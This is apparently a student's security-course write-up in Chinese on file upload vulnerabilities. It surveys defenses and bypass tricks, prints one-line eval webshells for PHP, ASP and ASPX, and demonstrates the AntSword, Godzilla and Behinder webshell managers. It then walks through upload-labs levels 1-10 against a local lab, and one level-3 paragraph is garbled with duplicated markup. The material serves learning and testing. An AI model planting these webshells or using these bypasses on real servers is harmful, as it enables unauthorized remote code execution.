目录
要求
-
文件上传防御手段及绕过手段总结
-
文件上传常用一句话木马
-
课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
-
文件上传无回显如何查找webshell地址
-
文件上传表单的无参/有参情况下构造表单 – 加分项
-
upload-labs靶场通关第6-第10关
文件上传的防御手段及绕过手段
防御手段
- 前端检测
- 文件类型检查:通过JavaScript对文件后缀进行校验,只允许上传特定类型的文件(如jpg、png等)。
- MIME类型检查:在前端通过JavaScript检查文件的MIME类型,确保文件类型与允许上传的类型匹配。
- 服务端检测
- 白名单验证:在服务端对文件类型进行白名单验证,只接受明确允许的文件类型。
- 黑名单校验:虽然不如白名单安全,但黑名单可以阻止已知的危险文件后缀(如php、aspx等)。
- MIME类型校验:服务端再次验证文件的MIME类型,防止前端校验被绕过。
- 文件名处理
- 统一大小写:使用
strtolower()
或类似函数统一文件名的大小写,防止大小写绕过。 - 去除特殊字符:去除文件名末尾的点、空格及特殊字符(如
::$DATA
),防止通过添加这些字符绕过检测。
- 统一大小写:使用
- 文件重命名:使用随机字符串或时间戳对上传的文件进行重命名,增加恶意文件被识别的难度。
- 内容检查:使用如
getimagesize()
等函数检查文件内容是否与其声称的类型一致。 - 配置文件保护:对
.htaccess
、.user.ini
等配置文件进行保护,防止被恶意上传或修改。 - 文件大小限制:设置合理的文件大小限制,防止上传过大的文件,这不仅可以减少服务器的存储压力,还可以防止通过上传大文件来进行拒绝服务攻击(DoS)。
- 服务器配置
- 禁用解析非法文件:确保服务器配置不会错误地解析非PHP文件为PHP文件,如通过
.htaccess
或服务器配置文件禁止。 - 文件上传目录限制:限制文件上传目录的权限,确保上传的文件不能被直接执行。
- 禁用解析非法文件:确保服务器配置不会错误地解析非PHP文件为PHP文件,如通过
绕过手段
- 绕过前端检测
- 修改文件后缀:将恶意文件的后缀修改为允许的文件类型,上传时通过抓包修改回原始后缀。
- 禁用JavaScript:直接禁用浏览器的JavaScript功能,绕过前端检测。
- 绕过服务端检测
- 大小写绕过:利用Windows文件名不区分大小写的特性,尝试使用大写或小写的危险后缀绕过检测。
- 空格和点绕过:在文件名末尾添加空格或点,这些字符在Windows系统上可能会被忽略,从而绕过检测。
- 特殊字符绕过:利用NTFS文件系统的特性,在文件名中添加
::$DATA
等特殊字符绕过黑名单检测。 - 配置文件绕过
- .htaccess:上传
.htaccess
文件,配置服务器将特定类型的文件当作PHP文件解析。 - .user.ini:上传
.user.ini
文件,设置auto_prepend_file
或auto_append_file
,使上传的恶意文件在解析正常PHP文件前后被执行。
- .htaccess:上传
- 后缀叠加:在文件名中添加多个后缀,利用服务器配置中的处理机制绕过黑名单检测。
- 文件截断绕过:利用某些编程语言或服务器配置中的漏洞,通过特定的字符(如%00或0x00)截断文件名,从而绕过文件后缀检查。但需要注意的是,这种方法通常需要满足特定的条件(如PHP版本小于5.3.29且magic_quotes_gpc关闭),且在现代的Web应用中已较为少见。
- 服务器配置绕过
- 修改服务器配置:通过修改服务器配置文件(如
httpd.conf
),改变文件解析规则,使特定后缀的文件被当作PHP文件解析。
- 修改服务器配置:通过修改服务器配置文件(如
文件上传常用的一句话木马
参考链接:
https://blog.youkuaiyun.com/qq_44632668/article/details/97818432
PHP:
<?php eval($_POST['cmd']); ?>
ASP:
<%eval request("cmd")%>
ASPX:
<%@ Page Language=”Jscript”%> <%eval(Request.Item[“hihack”],”unsafe”);%>
webshell工具使用
蚁剑(AntSword)
项目源码:
打开蚁剑,在空白处右键添加数据:
URL地址栏填入上传的木马所在路径。我这里就是本地搭建的upload-labs,木马文件是test1.php。
连接密码对应木马中$_POST
所收集的参数名:
由于我用的是php脚本,所以连接类型就选php。如果用的是其他语言的木马,则对应选择即可:
点击测试连接,若弹窗提示连接成功,则说明成功拿到webshell:
之后点添加,双击进入该连接,即可进入服务器的目录列表:
除了连接webshell,还可以配置蚁剑的代理,以监听连接期间的流量包。
在菜单中选择代理设置,设置蚁剑的代理服务器为BP中配置的代理监听器:
点击测试连接,访问本地的upload-labs,连接成功:
保存后,主界面可看到代理开启的提示:
之后再次访问目标服务器的目录,每访问一个文件或目录,BP中都可以监听到蚁剑对木马文件发起的POST请求包(这是因为上传的木马使用的是超级全局变量$_POST
,该变量会获取以POST方式提交的表单中的input字段数据):
分析这些数据包,可以看到主要是对$_POST
所获取的参数pass
传递一些命令,url解码后可看到命令内容:
由于木马在获取了pass
参数的内容后,会使用eval()
函数将这些内容作为php代码执行,因此可以达到在服务器上执行任意命令的效果。
哥斯拉(godzilla)
项目源码:
哥斯拉需要使用其自动生成的木马,否则可能连不上。
打开哥斯拉,在管理菜单生成一个php木马:
我这里保存为test2.php,看一下它的内容,是个常规的一句话木马:
把木马上传到本地的upload-labs靶场上,然后添加目标连接:
这里的密码、密钥和有效载荷要对应之前生成木马时候的选项。同时这里也可以配置代理主机和端口,同样设置成BP的代理监听器所对应的端口,代理类型选HTTP。
点击测试连接,成功即说明拿到了webshell:
添加后进入,即可控制服务器:
BP中同样检测到了流量,url解码pass后得到哥斯拉向木马文件发送的一系列命令:
此外,数据包里还有密钥对应的变量key的值,可能是哥斯拉对自己生成的木马做了一些加密操作:
冰蝎(behinder)
项目地址:
冰蝎在其server目录下有一些生成好的木马,也可以自己创建:
创建出来的默认文件名为shell.php
。
把生成的木马传到本地靶场上,之后在冰蝎里右键新增项目:
这里的传输协议选择之前创建木马时对应的加密方式。
保存后即可看到相关条目:
右键进入即可控制服务器:
冰蝎也同样可以设置代理,配置与之前两个工具相同:
保存后再重新进入,进行一些操作,BP里就抓到了对应的包:
文件上传无回显如何查找webshell地址
- 字典爆破
方法描述:根据经验,文件上传后,文件有时会直接以文件名的形式放在专属的upload目录中,如/upload/1.php
,或者加上当前日期,如/upload/2024-01-01/1.php
。可以使用字典去爆破这些可能的文件路径。
工具支持:可以使用BP等HTTP抓包工具结合字典进行路径爆破。
- 时间戳枚举
方法描述:如果webshell的上传时间已知,可以通过枚举该时间段内服务器上被创建或修改的文件来定位webshell。
操作建议:查看服务器日志文件,获取文件上传的大致时间范围,然后在服务器上搜索该时间段内被创建或修改的文件。
- 服务器日志审查
方法描述:查看HTTP请求日志,特别是在上传文件失败或成功的记录中,可能会有可疑的URL或文件路径。
实施步骤:
- 登录到服务器的日志管理系统。
- 查找与文件上传相关的日志条目。
- 分析日志中的URL或文件路径信息。
- 异常检测
方法描述:有些webshell在运行时会抛出错误或异常,通过监控网站的服务器错误页面,寻找异常报告,可能可以定位到webshell的位置。
实施步骤:
- 监控服务器的错误日志或错误页面。
- 分析错误报告中可能的文件路径或代码执行痕迹。
- 文件名检测
方法描述:如果webshell使用了特殊命名规则,比如包含特定字符组合的文件名,可以在服务器目录下搜索这些文件。
实施步骤:
- 使用SSH或FTP等工具登录到服务器。
- 使用命令行工具(如
find
、grep
)在服务器目录中搜索可能的webshell文件名。
- 网络扫描
方法描述:利用安全审计工具在网络流量中查找未授权访问或命令执行的行为,这些行为可能与webshell的活动相关。
工具支持:可以使用Wireshark等工具进行网络流量分析。
- 黑盒测试
方法描述:尝试向服务器发送各种文件上传请求,看是否有意外响应,这可能暴露webshell的位置。
实施步骤:
- 使用BP等抓包工具构造不同的文件上传请求。
- 分析服务器的响应,寻找可能的webshell路径或异常行为。
- 源码审查
方法描述:如果有可能,查看网站的后台代码,查看是否存在文件处理漏洞,这是隐藏webshell的常见手段。
注:源码审查通常需要较高的权限和技术水平,且对于加密或混淆的代码效果有限。
文件上传表单
无参情况下的表单构造
在无参情况下,表单的构造相对简单,因为它不依赖于除了文件上传输入以外的任何参数。这种类型的表单主要用于仅上传文件的场景。
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" name="file" id="file">
<input type="submit" value="上传文件">
</form>
这里的enctype="multipart/form-data"
属性是必需的,因为它告诉浏览器这个表单需要被编码为multipart/form-data类型,以支持文件上传。action
属性指定了处理上传的服务器端脚本, method="post"
指定文件上传用的是POST方法,一般上传文件都会用POST方法。
有参情况下的表单构造
在有参情况下,表单中可能包含除了文件上传字段外的其他输入字段,如用于验证的验证码输入框、描述文件的文本字段等。
<form action="upload_with_params.php" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" name="uploaded_file" id="file">
<label for="description">文件描述:</label>
<textarea name="description" id="description" rows="4" cols="50"></textarea>
<label for="captcha">验证码:</label>
<input type="text" name="captcha" id="captcha">
<img src="captcha.php" alt="验证码" onclick="this.src='captcha.php?'+Math.random()">
<input type="submit" value="上传文件并附加信息">
</form>
这个表单里不仅包含了文件上传的字段(uploaded_file
),还包含了描述文件内容的文本区域(description
)和用于安全验证的验证码输入框(captcha
)。enctype
依然是 “multipart/form-data”,确保文件能被正确编码并上传。服务器端脚本 upload_with_params.php
需要能够获取并处理这些额外的输入字段。
加入一些诸如验证码这样的参数,可以防止自动化的恶意文件上传。
文件上传漏洞靶场upload-labs
第一关
题目要求上传一个图片:
尝试上传一句话木马文件:
点击上传以后直接弹出了提示,而表单并未提交。说明这里是前端代码做了一个文件后缀的过滤。
修改php后缀为png,上传的同时开启BP抓包拦截,把文件后缀改回php再放包,这样就可以绕过前端的检测:
可以看到图片上传成功了,并且直接在网页上显示了出来。因此可以跟踪一下前端代码,得到文件上传的路径:
使用蚁剑连接木马,成功拿到webshell:
看一下源码:
可以看到这题用的是js代码,对文件后缀进行分割并匹配jpg、png和gif三个类型。由于js代码在客户端执行,因此很容易被绕过。
第二关
题目同样要求上传一个图片。使用上题的上传方式进行测试:
文件也上传成功了:
蚁剑同样能连上webshell:
看一下源码:
可以看到这题是在服务端检测上传文件的mime类型,必须为image/jpeg或image/png。由于一开始上传的文件是png,因此mime类型直接就是image/png,所以没被服务端检测出来。
第三关
使用和之前同样的方法进行测试:
提示了不允许上传的文件后缀。
由于php可执行后缀还有php3、php5、phtml、pht等。因此抓包修改后缀为phtml进行上传:
上传成功后,同样在前端代码中可以找到上传路径:
之后使用蚁剑连接失败,说明这个类型的文件没被服务器正确解析。
修改下我本地的phpstudy环境中Apache的全局配置文件httpd.conf,让Apache能够解析phtml、php3、php5这些后缀:
之后就能成功用蚁剑连接了:
看一下源码:
可见服务端除了过滤了asp、aspx、php、jsp外,还去除了文件名末尾的点、转换文件后缀为小写、过滤了:: D A T A 、去除了首位空格。这是因为 < f o n t s t y l e = " c o l o r : r g b a ( 0 , 0 , 0 , 0.85 ) ; " > W i n d o w s 系统的文件名不区分大小写, < / f o n t > < f o n t s t y l e = " b a c k g r o u n d − c o l o r : r g b ( 253 , 253 , 254 ) ; " > 且会自动忽略文件名末尾的 < / f o n t > < f o n t s t y l e = " c o l o r : r g b ( 5 , 7 , 59 ) ; b a c k g r o u n d − c o l o r : r g b ( 253 , 253 , 254 ) ; " > 空格或点 < / f o n t > < f o n t s t y l e = " c o l o r : r g b a ( 0 , 0 , 0 , 0.85 ) ; " > 。即 " p H p " 、 " p h p . " 、 " p h p : : DATA、去除了首位空格。这是因为<font style="color:rgba(0, 0, 0, 0.85);">Windows系统的文件名不区分大小写,</font><font style="background-color:rgb(253, 253, 254);">且会自动忽略文件名末尾的</font><font style="color:rgb(5, 7, 59);background-color:rgb(253, 253, 254);">空格或点</font><font style="color:rgba(0, 0, 0, 0.85);">。即"pHp"、"php."、"php:: DATA、去除了首位空格。这是因为<fontstyle="color:rgba(0,0,0,0.85);">Windows系统的文件名不区分大小写,</font><fontstyle="background−color:rgb(253,253,254);">且会自动忽略文件名末尾的</font><fontstyle="color:rgb(5,7,59);background−color:rgb(253,253,254);">空格或点</font><fontstyle="color:rgba(0,0,0,0.85);">。即"pHp"、"php."、"php::DATA"等后缀都可以被解析。因此这里针对性进行了防护。
第四关
使用上一题的方法,尝试上传phtml文件失败:
看一下源码:
可以看到这一题对可直接解析的文件后缀基本都做了黑名单处理。但由于这题没改上传的文件名,而且我本地环境用的是Apache,因此可以直接上传Apache的分布式配置文件.htaccess,令当前目录下的其他后缀文件也可以被php的方式解析。
.htaccess配置相关:
同样上传之前的木马文件,但这次不做任何抓包修改:
之后再上传.htaccess,指定之前上传的木马文件由php解析:
可以看到配置文件也上传成功了。
之后就可以用蚁剑成功连接之前上传的png木马:
第五关
使用之前的方法,上传phtml文件失败:
看一下源码:
可以看到这题把.htaccess也加入了黑名单。不过这题同样没有改上传的文件名,且黑名单里面没有.ini,所以可以利用php的配置文件.user.ini进行php代码执行。
自PHP 5.3.0起支持基于每个目录的.htaccess风格的INI文件,此类文件仅被CGI/FastCGI SAPI处理,其默认文件名为.user.ini。
PHP文件被执行时,除了加载主php.ini,还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始,一直上升到Web根目录。
在FastCGI模式下,PHP解释器作为FastCGI进程管理器(如PHP-FPM)的一部分运行,而不是像CGI那样为每个请求启动一个新的进程。这种模式下,
.user.ini
文件的加载过程大致如下:
- FastCGI进程启动:当Web服务器(如Nginx或Apache)配置为使用FastCGI模式与PHP通信时,它会启动PHP-FPM来管理PHP进程。
- 配置文件读取:在FastCGI进程启动时或定期(取决于主配置文件
php.ini
的user_ini.cache_ttl
设置),PHP会扫描指定目录(通常是Web根目录或其子目录)下的.user.ini
文件,并读取其中的配置。- 配置应用:读取到的配置会被应用到该进程处理的后续请求中。如果
.user.ini
文件中的配置与全局php.ini
中的配置冲突,那么.user.ini
中的配置将具有更高的优先级。为了保证安全性,在.user.ini文件中不能覆盖所有php.ini中的配置。
详细配置模式可查看官方手册:
这里有两个特殊的配置:auto_append_file、auto_prepend_file。auto_prepend_file配置的作用为指定一个文件在主文件(被请求的PHP文件)解析前解析,auto_append_file的作用为指定一个文件在主文件解析后解析。一般会使用auto_prepend_file,使得上传的木马在主文件之前被解析执行。
不过使用.user.ini配置文件绕过上传黑名单有着很大的局限性,只有在当前目录下有PHP文件被执行时,才会加载当前目录下的.user.ini文件。
由于我的本地环境满足.user.ini的要求(PHP版本大于5.3.0,nts版本通常用于FastCGI模式下),并且该靶场的upload目录下本身存在一个readme.php,因此这题可以使用.user.ini进行绕过。
所以先上传一个png木马:
然后上传.user.ini:
之后可以等300s(即php.ini里默认的user_ini.cache_ttl值),或者直接修改user.ini的ttl值:
直到php的配置文件更新以后,访问upload目录下本来存在的readme.php,就会自动先用php解析器去解析上传的png木马,因此拿到webshell:
第六关
看一下源码:
可以看到这一题进一步把.ini也添加到了黑名单里。并且用当前时间加随机数来命名上传的文件。
注意到这里没有用strtolower()函数,黑名单里也没有包括所有的大小写变化的后缀名,而Windows下文件名不区分大小写,所以可以用大小写绕过黑名单限制。
蚁剑连接:
第七关
看一下源码:
可以看到,这题相较于上题,加上了strtolower()函数把文件后缀转为小写,但没有了trim()函数来去除空格。因此可以用空格绕过黑名单检测。
在文件php后缀后面加个空格:
上传成功:
这里的php后面的空格在服务器(Windows)上会被自动忽略,因此可以直接用蚁剑连接:
第八关
看一下源码:
这题相较于上题加上了trim()函数,但又没有了deldot()函数来去除文件名末尾的点。所以可以用点来绕过,和上题原理相同。
在php后缀后面加个点:
上传成功:
php后面的点在Windows系统上也会被自动忽略,所以直接用蚁剑连接:
第九关
看一下源码:
可以看到这题相较于之前,少了str_ireplace()函数把::$DATA
替换为空。所以这题就可以用::$DATA
绕过。
::$DATA
是NTFS文件系统中默认的数据流属性,它包含了文件的主要内容。每个文件至少有一个::$DATA
属性,用于存储文件的实际数据。
关于NTFS文件流,参考链接:
https://www.cnblogs.com/nevergone/archive/2013/04/08/3009173.html
当访问test.php::$DATA
时,就是请求test.php
本身的数据。当在文件资源管理器或命令行中尝试创建一个名为test.php::$DATA
的文件时,Windows会忽略::$DATA
部分,并仅将文件保存为test.php
。这是因为在文件系统的层面上,::$DATA
是隐含的,不需要由用户显式指定。
所以这题的绕过原理和空格绕过、点绕过类似,可以上传后缀为php::$DATA的文件:
上传成功:
蚁剑直接连接php文件:
第十关
看一下源码:
这题针对之前出现的漏洞都进行了防御。但由于针对文件后缀的各种检测手段都只进行了一次,因此可以利用多后缀来绕过。
在Apache中,单个文件支持拥有多个后缀,如果多个后缀都存在对应的handler或media-type,那么对应的handler会处理当前文件。
在AddHandler application/x-httpd-php.php配置下,x.php.xxx文件会使用application/x-httpd-php处理当前文件。
当使用AddType(非之前的AddHandler)时,多后缀文件会从最右后缀开始识别,如果后缀不存在对应的MIME type或Handler,则会继续往左识别后缀,直到后缀有对应的MIME type或Handler。x.php.xxx文件由于xxx后缀没有对应的handler或mime type,这时往左识别出PHP后缀,就会将该文件交给application/x-httpd-php处理。
我的apache主配置文件httpd.conf有如下内容:
因此可以在php木马的后面再加上一个.xxx后缀进行上传:
由于.xxx后缀不在黑名单中,因此上传成功。
蚁剑连接: